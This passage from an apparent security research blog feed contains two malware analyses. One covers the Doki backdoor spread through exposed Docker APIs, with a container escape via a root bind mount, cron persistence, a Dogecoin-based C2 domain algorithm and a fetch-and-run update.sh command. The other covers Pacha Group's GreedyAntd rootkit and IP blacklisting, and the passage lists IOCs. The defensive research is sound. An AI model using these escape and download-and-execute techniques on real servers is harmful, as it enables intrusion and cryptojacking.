order to set up their own containers and execute malware on the victims'
infrastructure. The attackers are spawning and deleting a number of containers
during this attack.&lt;/p&gt;
&lt;p&gt;Each container that is created during the attack is based on an alpine image
with curl installed. The image is available on the
&lt;a href="https://hub.docker.com/r/byrnedo/alpine-curl/tags/"target="_blank" rel="noopener"&gt;Docker hub&lt;/a&gt;. The image is
not malicious but rather it&amp;rsquo;s being abused to carry out malicious activities.
By using an image that contains the curl software, curl commands are executed
as soon as the container is up and running.&lt;/p&gt;
&lt;p&gt;The advantage of using a publicly available image is the attacker doesn&amp;rsquo;t need
to hide it on Docker hub or other hosting solutions. Instead, the attackers can
use an existing image and run their own logic and malware on top of it.&lt;/p&gt;
&lt;p&gt;As mentioned above, attackers can create any container, however, to execute
code from the hosting machine they must use a container escape method. The
technique is based on the creation of a new container, accomplished by posting
a
‘&lt;a href="https://docs.docker.com/engine/api/v1.40/#operation/ContainerCreate"target="_blank" rel="noopener"&gt;create&lt;/a&gt;'
API request. The body of the request contains configuration parameters for the
container. One of the parameters is
&lt;a href="https://docs.docker.com/storage/bind-mounts/"target="_blank" rel="noopener"&gt;bind&lt;/a&gt; which lets the user
configure which file or directory on the host machine to mount into a
container.&lt;/p&gt;
&lt;p&gt;Containers that are created during the attack are configured to bind
&lt;code&gt;/tmpXXXXXX&lt;/code&gt; directory to the root directory of the hosting server. This means
every file on the server&amp;rsquo;s filesystem can be accessed and even modified, with
the correct user permissions, from within the container.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ngrok.com/"target="_blank" rel="noopener"&gt;Ngrok&lt;/a&gt; is a service which provides secure tunnels to
connect between local servers and the public internet. The attacker abuses
Ngrok to craft unique URLs with a short lifetime and uses them to download
payloads during the attack by passing them to the curl based image. The
downloaded payload is saved in &lt;code&gt;/tmpXXXXXX&lt;/code&gt; directory in the container.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig1.png" title="The command that created the container as seen on the syslog of the attacked server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The command that created the container as seen on the syslog of the attacked server&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;By using the bind configuration the attacker can control the cron utility of
the host. The attacker modifies the host&amp;rsquo;s cron to execute the downloaded
payload every minute. We observed two types of payloads, one is a network
scanner script and the other is a downloader script.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The network scanner uses zmap, zgrap, and jq to scan ports associated with
Redis, Docker, SSH, and HTTP.&lt;/p&gt;
&lt;p&gt;Using a list of hardcoded ranges of IP addresses, which belong mostly to cloud
servers such as AWS and local cloud providers in foreign regions (we have seen
providers from China, Austria, and the United Kingdom), the script gathers the
information and uploads it to another Ngrok URL.&lt;/p&gt;
&lt;p&gt;The downloader script is responsible for downloading and installing various
malware binaries, often one of several well known cryptominers. We have noticed
it can also install a fully undetected malware component. We named this malware
Doki and will provide a technical analysis in the next section.&lt;/p&gt;
&lt;p&gt;The attacker has full control over the configuration of the container he
creates and the files that are dropped into the container. By using legitimate
API commands, the attacker is able to escape from the container he created and
execute any code from within the server itself.&lt;/p&gt;
&lt;h2&gt;The Doki Malware&lt;span class="hx:absolute hx:-mt-20" id="the-doki-malware"&gt;&lt;/span&gt;
&lt;a href="#the-doki-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Doki is a backdoor for Linux which function is to execute code received from
its operators. The malware utilizes the
&lt;a href="https://account.dyn.com/"target="_blank" rel="noopener"&gt;DynDNS service&lt;/a&gt; and a unique Domain Generation
Algorithm (DGA) based on the Dogecoin cryptocurrency blockchain in order to
find the domain of its C2 in real time.&lt;/p&gt;
&lt;p&gt;The malware is a fully undetected backdoor. It has managed to stay undetected
for over six months despite having
&lt;a href="https://www.virustotal.com/gui/file/4aadb47706f0fe1734ee514e79c93eed65e1a0a9f61b63f3e7b6367bd9a3e63b/detection"target="_blank" rel="noopener"&gt;been uploaded to VirusTotal&lt;/a&gt;
on January 14, 2020 and scanned multiple times since.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Doki is multi-threaded and uses the embedTLS library for cryptographic
functions and network communication. When executed, the malware will create a
seperate thread in order to handle all C2 communications.&lt;/p&gt;
&lt;p&gt;The malware starts by generating a C2 domain using its unique DGA. In order to
construct the C2 address the malware performs the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Query dogechain.info API, a Dogecoin cryptocurrency block explorer, for the
value that was sent out (spent) from a hardcoded wallet address that is
controlled by the attacker. The query format is:
&lt;code&gt;https://dogechain.info/api/v1/address/sent/{address}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Perform SHA256 on the value returned under &amp;ldquo;sent&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Save the first 12 characters from the hex-string representation of the SHA256
value, to be used as the subdomain.&lt;/li&gt;
&lt;li&gt;Construct the full address by appending the subdomain to ddns.net. An example
domain would be: &lt;code&gt;6d77335c4f23[.]ddns[.]net&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using this technique the attacker controls which address the malware will
contact by transferring a specific amount of Dogecoin from his or her wallet.
Since only the attacker has control over the wallet, only he can control when
and how much dogecoin to transfer, and thus switch the domain accordingly.
Additionally, since the blockchain is both immutable and decentralized, this
novel method can prove to be quite resilient to both infrastructure takedowns
from law enforcement and domain filtering attempts from security products.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s worth noting that once the domain is generated, the malware ensures it&amp;rsquo;s
not &amp;ldquo;46927e019820&amp;rdquo;, which is what&amp;rsquo;s generated for &amp;ldquo;0.000000&amp;rdquo;, meaning when no
Dogecoin was ever transferred from the wallet. In the case that this domain is
generated, the malware will exit without continuing any further.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Otherwise, the malware continues to download a shell script by contacting its
C2 via HTTPS, using the URL &lt;code&gt;&amp;lt;c2_address&amp;gt;/update.sh&lt;/code&gt; and saving the returned
data as &lt;code&gt;/tmp/update.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It will then resolve the current process&amp;rsquo;s PID and path to be used as script
arguments, and proceeds to execute the script by running:
&lt;code&gt;/bin/sh -c ./update.sh &amp;lt;process_id&amp;gt; &amp;lt;process_path&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Meanwhile, the main thread of the malware reads from STDIN, expecting to
receive binary data from that shell script. The arguments are passed to the
script in order to allow it to communicate with the malware in this way and
receive code to execute.&lt;/p&gt;
&lt;p&gt;If data is received via STDIN, the malware saves it as a file under /tmp,
choosing its name randomly from a predefined list of Linux kernel modules.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;While it&amp;rsquo;s a very basic deception method, it&amp;rsquo;s not something commonly seen in
Linux malware, which often don&amp;rsquo;t bother disguising as system files.&lt;/p&gt;
&lt;p&gt;Finally, the malware proceeds to fork so the child process executes the file
and the main process loops to repeat the malware&amp;rsquo;s logic flow.&lt;/p&gt;
&lt;h2&gt;Bottom Line&lt;span class="hx:absolute hx:-mt-20" id="bottom-line"&gt;&lt;/span&gt;
&lt;a href="#bottom-line" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Ngrok Botnet campaign has been ongoing for over two years and is rather
effective, infecting any misconfigured Docker API server in a matter of hours.
The incorporation of the unique and undetected Doki malware indicates the
operation is continuing to evolve.&lt;/p&gt;
&lt;p&gt;This attack is very dangerous due to the fact the attacker uses container
escape techniques to gain full control of the victim&amp;rsquo;s infrastructure. Our
evidence shows that it takes only a few hours from when a new misconfigured
Docker server is up online to become infected by this campaign.&lt;/p&gt;
&lt;h3&gt;Immediate Action Required by Container Server Owners&lt;span class="hx:absolute hx:-mt-20" id="immediate-action-required-by-container-server-owners"&gt;&lt;/span&gt;
&lt;a href="#immediate-action-required-by-container-server-owners" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both companies and individuals who own container servers in the cloud must
immediately fix configuration to prevent exposure. This includes: Checking for
any exposed ports, verifying there are no foregin or unknown containers among
the existing containers, and monitoring excessive use of resources.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We recommend you read our article,
&lt;a href="https://intezer.com/blog/best-practices-for-securing-a-docker-runtime-environment/?utm_campaign=research-blog&amp;amp;utm_content=watch-your-containers-doki-infecting-docker-servers-in-the-cloud&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Best Practices for Securing a Docker Runtime Environment&lt;/a&gt;.
You can also run our
&lt;a href="https://github.com/intezer/yara-rules/blob/master/Doki_Attack.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
on your cloud servers to check if you have been infected by this campaign.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;6d77335c4f23[.]ddns[.]net
36b397f0da96fa0639a1e60f56af8be1a3060c4d1b98f108b7dc8e3c572b3337
4aadb47706f0fe1734ee514e79c93eed65e1a0a9f61b63f3e7b6367bd9a3e63b
9907eaa1b487306c43b1352369f0409ba59a9aa0f5590fbd60e8825999db1f14&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Technical Analysis: Pacha Group Competing against Rocke Group for Cryptocurrency Mining Foothold on the Cloud</title><link>https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/</link><pubDate>Thu, 09 May 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/</guid><description>
&lt;p&gt;Pacha Group is a crypto-mining threat actor we at Intezer discovered and
profiled in a &lt;a href="../../../2019/02/technical-analysis-pacha-group"&gt;blog post&lt;/a&gt;
published on February 28, 2019. This threat actor targeted Linux servers dating
back to September 2018 and implemented advanced evasion and persistence
techniques.&lt;/p&gt;
&lt;p&gt;We have continued to monitor this threat actor and new findings show that Pacha
Group is also targeting cloud-based environments and conducting great efforts
to disrupt other crypto-mining groups, namely
&lt;a href="https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/"target="_blank" rel="noopener"&gt;Rocke Group&lt;/a&gt;
who is also known to target cloud environments.&lt;/p&gt;
&lt;p&gt;We believe that these findings are relevant within the context of bringing
awareness about cloud-native threats and our research may imply that cloud
environments are increasingly becoming a common target for adversaries.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In monitoring Pacha Group we have identified new, undetected Linux.GreedyAntd
variants that share code with previous variants.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Despite sharing nearly 30% of code with previous variants, detection rates of
the new Pacha Group variants are low:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The main malware infrastructure appears to be identical to previous Pacha Group
campaigns, although there is a distinguishable effort to detect and mitigate
Rocke Group’s implants. Rocke Group was first reported by
&lt;a href="https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html"target="_blank" rel="noopener"&gt;Cisco Talos&lt;/a&gt;
researchers and has deployed sophisticated crypto-mining campaigns in Linux
servers and cloud-based environments as reported by
&lt;a href="https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/"target="_blank" rel="noopener"&gt;Palo Alto Unit 42&lt;/a&gt;.
The following image is a blacklist of miners in which Linux.GreedyAntd searches
to eradicate. We have recognized several file names in this blacklist known to
be used for Rocke Group’s implants:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, there are other strings within this file path blacklist which are
used to search for and disable cloud protection solutions, such as Alibaba
Server Guard Agent. Strings of malware
&lt;a href="https://www.reddit.com/r/linuxquestions/comments/bknurg/is_is_exploit_or_what/"target="_blank" rel="noopener"&gt;implants&lt;/a&gt;
known to have abused the
&lt;a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html?_ga=2.116436864.700072651.1557244235-1322709726.1557244235"target="_blank" rel="noopener"&gt;Atlassian vulnerability&lt;/a&gt;
were also found. Rocke Group is known to hunt for similar security products and
to have
&lt;a href="https://community.atlassian.com/t5/Confluence-questions/How-come-my-confluence-installation-was-hacked-by-Kerberods/qaq-p/1054605#M141274"target="_blank" rel="noopener"&gt;abused&lt;/a&gt;
the same vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Another interesting update in Pacha Group’s infrastructure in comparison to
previous campaigns is that further implants would only be able to be downloaded
from Pacha Group’s servers if the HTTP GET request was completed with a
specific User-Agent. In the following screenshot we can see how files can not
be downloaded unless the correct User-Agent is used:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In addition, Pacha Group’s component update seems to include a lightweight
user-mode rootkit known as Libprocesshider, which is an open source project
hosted on &lt;a href="https://github.com/gianlucaborello/libprocesshider"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt; and has
also been used by Rocke Group.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware updates &lt;code&gt;/etc/ld.preload&lt;/code&gt; to include the path of the dropped
library masquerading libconv.so, a unicode conversion library.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This shared object will export customized versions of readdir and readdir64
functions that will attempt to hide a process name from /proc filesystem of one
of the main components of the malware’s infrastructure, in charge to download
further implants in intervals along with enforcing process, file path and IP
blacklisting:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Along with process and file path blacklisting measures seen in previous
variants, we also observed that newer variants implement IP blacklisting using
an interesting technique.&lt;/p&gt;
&lt;p&gt;Right after process and file path black listing has been accomplished, we find
the following code:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Each of the IPs in the blacklist IP table is decoded and then added to the
system routing table with host scope via ioctl.&lt;/p&gt;
&lt;p&gt;This is more conveniently shown by observing the following system call trace:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When we check the routing table of a compromised system we see the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Each of the decoded IPs have been added to the routing table with host scope.
This implies that when any of these IPs will be requested, each request will be
routed back to the host to be resolved instead of redirecting them to the
gateway, causing a failure in the routing process.&lt;/p&gt;
&lt;p&gt;In the following screenshot we can see the effect of this methodology by using
the ping utility:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After analyzing the IP blacklist we discovered that some of these IPs, even
though they may not necessarily be malicious, are known to have been used by
Rocke Group in the past. As an example, systemten.org is in this blacklist and
it is known that Rocke Group has &lt;a href="https://imgur.com/a/H7YuWuj"target="_blank" rel="noopener"&gt;used this&lt;/a&gt;
domain for their crypto-mining operations. The following are some domains that
correspond to their hardcoded IPs in Linux.GreedyAntd’s blacklist that have
Rocke Group correlations:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have presented evidence that Pacha Group is targeting cloud-based
environments and being especially aggressive towards Rocke Group. We have based
this conclusion on the process blacklist used by Pacha Group and the newly
added IP blacklist which contains Rocke Group correlated artifacts.&lt;/p&gt;
&lt;p&gt;We have also provided a
&lt;a href="https://github.com/intezer/yara-rules/blob/master/GreedyAntd.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
in order to detect Pacha Group’s Linux.GreedyAntd implants based on reused code
among the implants.&lt;/p&gt;
&lt;p&gt;Cloud infrastructure is quickly becoming a common target for threat actors,
particularly on vulnerable Linux servers. Unfortunately the detection rates of
Linux-based malware remain low and the security community needs more awareness
in order to more effectively mitigate these threats.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;195.154.187[.]169
165.227.140[.]184
f46a9d2c3c9bfcc409534e0856f4614d6b42e792134dcf0f40df7295a777c879
d2e373c1341a28e18158272208a15decfa397640b6092b56158e0f52e4ff73a4
c098d5aeef316c3564b0b40a8a102147dae9c606fa92a2e2f0ad5c94cfe30222
42612f41befc57619646da5e91e7758dcc83cbaafbe5fdfa19d9f43a71f2504f
ce10e7a0fb517309b1e1141b44d3f9f7759e0f8889c0392774a5869f41006a3f
d94a6537adcea2f8ef3ed5ed41a548bc2b26b3acdeca9aaf6da4c933e7f47174
f83d75ab09634a7b818ef87c6509cca2c6f26f5f65b8d3448ebc86b52be62253
e5f6fbeb3981c9dfa126dc0a71a0aa41b56a09a89228659a7ea5f32aff4b2058&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;GreedyAntd Embedded IP Blacklist The following are IPs that the Pacha Group
attempts to block to prevent operation of other crypto-mining implants (notice
not to block these IPs. See the IPs to block in the above IOCs section):&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;139.99.120[.]73
47.95.85[.]22
62.210.75[.]99
113.55.8[.]24
62.210.75[.]99
42.56.76[.]104
198.204.231[.]250
47.90.213[.]21
116.62.232[.]226
134.209.104[.]20
198.12.156[.]218
207.148.76[.]229
188.165.254[.]85
58.56.187[.]66
89.35.39[.]78
37.139.22[.]136
37.44.212[.]223
54.36.137[.]146
139.99.120[.]50
37.120.131[.]220
104.20.209[.]21
198.12.156[.]218
34.196.173[.]143
34.193.88[.]221
35.168.52[.]211
104.248.4[.]162
130.61.54[.]136
139.99.120[.]50
198.12.156[.]218
166.62.38[.]167
185.193.125[.]146
132.148.148[.]79
188.165.254[.]85
104.20.208[.]21
37.187.95[.]110
158.69.25[.]62
104.31.93[.]26
104.25.140[.]10
60.191.25[.]101
104.248.53[.]213
60.191.13[.]119
104.130.210[.]206
193.56.28[.]207
37.187.95[.]110
89.35.39[.]78
81.4.122[.]134
37.44.212[.]223
148.251.133[.]246
52.41.214[.]241
52.25.124[.]181
54.68.226[.]153
136.243.89[.]164
104.20.209[.]21
176.9.2[.]144
37.59.43[.]136
78.46.89[.]102
37.59.45[.]174
91.121.2[.]76
176.9.53[.]68
37.59.55[.]60
178.63.48[.]196
37.187.154[.]79
37.59.44[.]93
78.46.91[.]134
37.59.54[.]205
23.175.0[.]142
104.140.244[.]186
136.243.102[.]157
5.254.96[.]150
51.15.56[.]161&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item></channel></rss>